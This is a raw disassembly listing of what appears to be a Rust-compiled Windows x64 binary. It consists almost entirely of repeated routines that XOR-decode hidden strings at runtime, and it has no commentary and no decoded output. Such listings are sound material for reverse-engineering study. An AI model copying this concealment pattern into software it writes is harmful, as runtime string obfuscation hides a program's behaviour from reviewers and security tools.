movaps xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x2c0], xmm0
mov byte [rsp + 0x2d0], al
xor edi, edi
mov ecx, 0x11
xor edx, edx
call fcn.1401674a3
movdqa xmm0, xmmword [rsp + 0x2c0]
movdqu xmmword [rax], xmm0
mov cl, byte [rsp + 0x2d0]
mov byte [rax + 0x10], cl
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0x11
lea rax, [0x140439746]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x9543339ca51faae7
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013ff48
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446b55]
cmp rdi, 0x1f
ja 0x140124b2e
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140124b15
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043a3c9]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x6b551df6e11f1748
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013ee6b
and qword [rsi], 0
mov dl, 1
lea rcx, [0x140446b75]
test dl, 1
je 0x140124c64
movzx r8d, byte [rbx + rcx]
mov rdx, rbx
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rbx
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 6
mov r15, rbx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
mov ebx, 8
xor edx, edx
jmp 0x140124bbe
mov al, byte [rax + 8]
xor al, 0x30
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rcx
mov byte [rsp + 0x2c8], al
xor edi, edi
mov ecx, 9
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov qword [rax], rcx
mov cl, byte [rsp + 0x2c8]
mov byte [rax + 8], cl
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 9
lea rax, [0x14043eb45]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x45be76743f425caa
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013e06a
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446b7e]
cmp rdi, 0x1f
ja 0x140124d16
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140124cfd
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043946e]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xd77103fa63958944
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013eebe
and qword [rsi], 0
mov dl, 1
lea rcx, [0x140446b9e]
test dl, 1
je 0x140124e4c
movzx r8d, byte [rbx + rcx]
mov rdx, rbx
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rbx
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 6
mov r15, rbx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
mov ebx, 8
xor edx, edx
jmp 0x140124da6
mov al, byte [rax + 8]
xor al, 1
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rcx
mov byte [rsp + 0x2c8], al
xor edi, edi
mov ecx, 9
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov qword [rax], rcx
mov cl, byte [rsp + 0x2c8]
mov byte [rax + 8], cl
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 9
lea rax, [0x140443c64]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x51cb1d98626c279b
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013d5b5
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446ba7]
cmp rdi, 0x1f
ja 0x140124efe
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140124ee5
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x140440fdb]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xa6106a8903179ae8
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013f0f9
and qword [rsi], 0
mov r8b, 1
lea rcx, [0x140446bc7]
movabs rdx, 0xe000000000000000
test r8b, 1
je 0x140125032
movzx r9d, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 4
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, rbx
or r15, 6
movzx r15d, byte [r15 + rcx]
shl r15, 0x30
shl r14, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, r14
add r8, rdx
or r8, r15
xor r8, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], r8
mov ebx, 8
xor r8d, r8d
jmp 0x140124f99
mov rbx, qword [rsp + 0x30]
xor edi, edi
mov ecx, 8
xor edx, edx
call fcn.1401674a3
mov qword [rax], rbx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 8
lea rax, [0x140448752]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x736d3d983f33ba16
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013e8a1
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, str.E_f
cmp rdi, 0x1f
ja 0x1401250be
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x1401250a5
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x1404393f8]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x8a1bd4fbbb7f784c
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140140b85
and qword [rsi], 0
mov dl, 1
lea rcx, [0x140446bef]
test dl, 1
je 0x1401251f4
movzx r8d, byte [rbx + rcx]
mov rdx, rbx
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rbx
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 6
mov r15, rbx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
mov ebx, 8
xor edx, edx
jmp 0x14012514e
mov al, byte [rax + 8]
xor al, 0x86
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rcx
mov byte [rsp + 0x2c8], al
xor edi, edi
mov ecx, 9
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov qword [rax], rcx
mov cl, byte [rsp + 0x2c8]
mov byte [rax + 8], cl
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 9
lea rax, [0x14043f1dc]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xb97a08218aeafc7e
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140140d68
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446bf8]
cmp rdi, 0x1f
ja 0x1401252a6
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x14012528d
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043ae3f]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x9744a9cae255b564
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14014087e
and qword [rsi], 0
mov r8b, 1
lea rcx, [0x140446c18]
movabs rdx, 0x400000000000000
test r8b, 1
je 0x1401253da
movzx r9d, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 4
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, rbx
or r15, 6
movzx r15d, byte [r15 + rcx]
shl r15, 0x30
shl r14, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, r14
add r8, rdx
or r8, r15
xor r8, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], r8
mov ebx, 8
xor r8d, r8d
jmp 0x140125341
mov rbx, qword [rsp + 0x30]
xor edi, edi
mov ecx, 8
xor edx, edx
call fcn.1401674a3
mov qword [rax], rbx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 8
lea rax, [0x140444b0b]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x1bef29215e860fd4
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140140559
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446c20]
cmp rdi, 0x1f
ja 0x140125466
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x14012544d
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x140442d71]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x9ef30b593365db75
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013dc92
and word [rsi + 4], 0
and dword [rsi], 0
mov dl, 1
lea rcx, [0x140446c40]
test dl, 1
je 0x14012554e
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 3
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x1401254fa
movzx ebx, word [rax + 4]
xor ebx, 0xffef
mov ebp, dword [rsp + 0x30]
xor edi, edi
mov ecx, 6
xor edx, edx
call fcn.1401674a3
mov word [rax + 4], bx
mov dword [rax], ebp
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 6
lea rax, [0x14043be79]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xa657fb471546e27d
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013da3b
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446c46]
cmp rdi, 0x1f
ja 0x1401255e6
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x1401255cd
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043a407]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xade7ce7387eda2c1
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013e9de
and qword [rsi], 0
mov r8b, 1
lea rcx, [0x140446c66]
movabs rdx, 0xcd00000000000000
test r8b, 1
je 0x14012571a
movzx r9d, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 4
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, rbx
or r15, 6
movzx r15d, byte [r15 + rcx]
shl r15, 0x30
shl r14, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, r14
add r8, rdx
or r8, r15
xor r8, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], r8
mov ebx, 8
xor r8d, r8d
jmp 0x140125681
mov rbx, qword [rsp + 0x30]
xor edi, edi
mov ecx, 8
xor edx, edx
call fcn.1401674a3
mov qword [rax], rbx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 8
lea rax, [0x140447d52]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xe0e8a3b686f812b1
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1401413fa
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, str._cn
cmp rdi, 0x1f
ja 0x1401257a6
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x14012578d
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043abdd]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xfbaeff1ffdedbcc5
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013d8e4
and qword [rsi], 0
mov r8b, 1
lea rcx, [0x140446c8e]
movabs rdx, 0x4500000000000000
test r8b, 1
je 0x1401258da
movzx r9d, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 4
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, rbx
or r15, 6
movzx r15d, byte [r15 + rcx]
shl r15, 0x30
shl r14, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, r14
add r8, rdx
or r8, r15
xor r8, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], r8
mov ebx, 8
xor r8d, r8d
jmp 0x140125841
mov rbx, qword [rsp + 0x30]
xor edi, edi
mov ecx, 8
xor edx, edx
call fcn.1401674a3
mov qword [rax], rbx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 8
lea rax, [0x1404450d3]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x28fa2979492ef96c
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14014006b
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446c96]
cmp rdi, 0x1f
ja 0x140125966
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x14012594d
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_ipnet_2.9.0_src_parser.rs
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x1a7c0fa1fcff194d
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013f176
and qword [rsi], 0
mov dl, 1
lea rcx, [0x140446cb6]
test dl, 1
je 0x140125a9c
movzx r8d, byte [rbx + rcx]
mov rdx, rbx
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rbx
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 6
mov r15, rbx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
mov ebx, 8
xor edx, edx
jmp 0x1401259f6
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x946c
mov word [rsp + 0x38], ax
xor cl, 0xa6
mov byte [rsp + 0x3a], cl
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rax
mov eax, dword [rsp + 0x37]
mov dword [rsp + 0x2c7], eax
xor edi, edi
mov ecx, 0xb
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x2c7]
mov dword [rax + 7], ecx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0xb
lea rax, [0x140438b04]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x1f0fc1dcf8026696
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013f506
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446cc1]
cmp rdi, 0x1f
ja 0x140125b66
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140125b4d
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043e2a4]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x6a4546d5d7c12b3
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013d68e
and dword [rsi], 0
mov dl, 1
lea rcx, [0x140446ce1]
test dl, 1
je 0x140125c3b
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
shl r9d, 0x10
shl r8d, 8
or r8d, edx
lea edx, [r9 + r8]
add edx, 0x5b000000
xor edx, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], edx
mov ebx, 4
xor edx, edx
jmp 0x140125bf5
mov ebx, dword [rsp + 0x30]
xor edi, edi
mov ecx, 4
xor edx, edx
call fcn.1401674a3
mov dword [rax], ebx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 4
lea rax, [0x140439b95]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x884cc883c35884f4
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140140901
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446ce5]
cmp rdi, 0x1f
ja 0x140125cc5
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140125cac
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043a6ff]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x9c1a8759ccefe316
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140140c0c
and qword [rsi], 0
mov r8b, 1
lea rcx, [0x140446d05]
movabs rdx, 0x4e00000000000000
test r8b, 1
je 0x140125df9
movzx r9d, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 4
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, rbx
or r15, 6
movzx r15d, byte [r15 + rcx]
shl r15, 0x30
shl r14, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, r14
add r8, rdx
or r8, r15
xor r8, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], r8
mov ebx, 8
xor r8d, r8d
jmp 0x140125d60
mov rbx, qword [rsp + 0x30]
xor edi, edi
mov ecx, 8
xor edx, edx
call fcn.1401674a3
mov qword [rax], rbx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 8
lea rax, [0x140440b9d]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x50dc22d8bc34038f
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1401405df
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
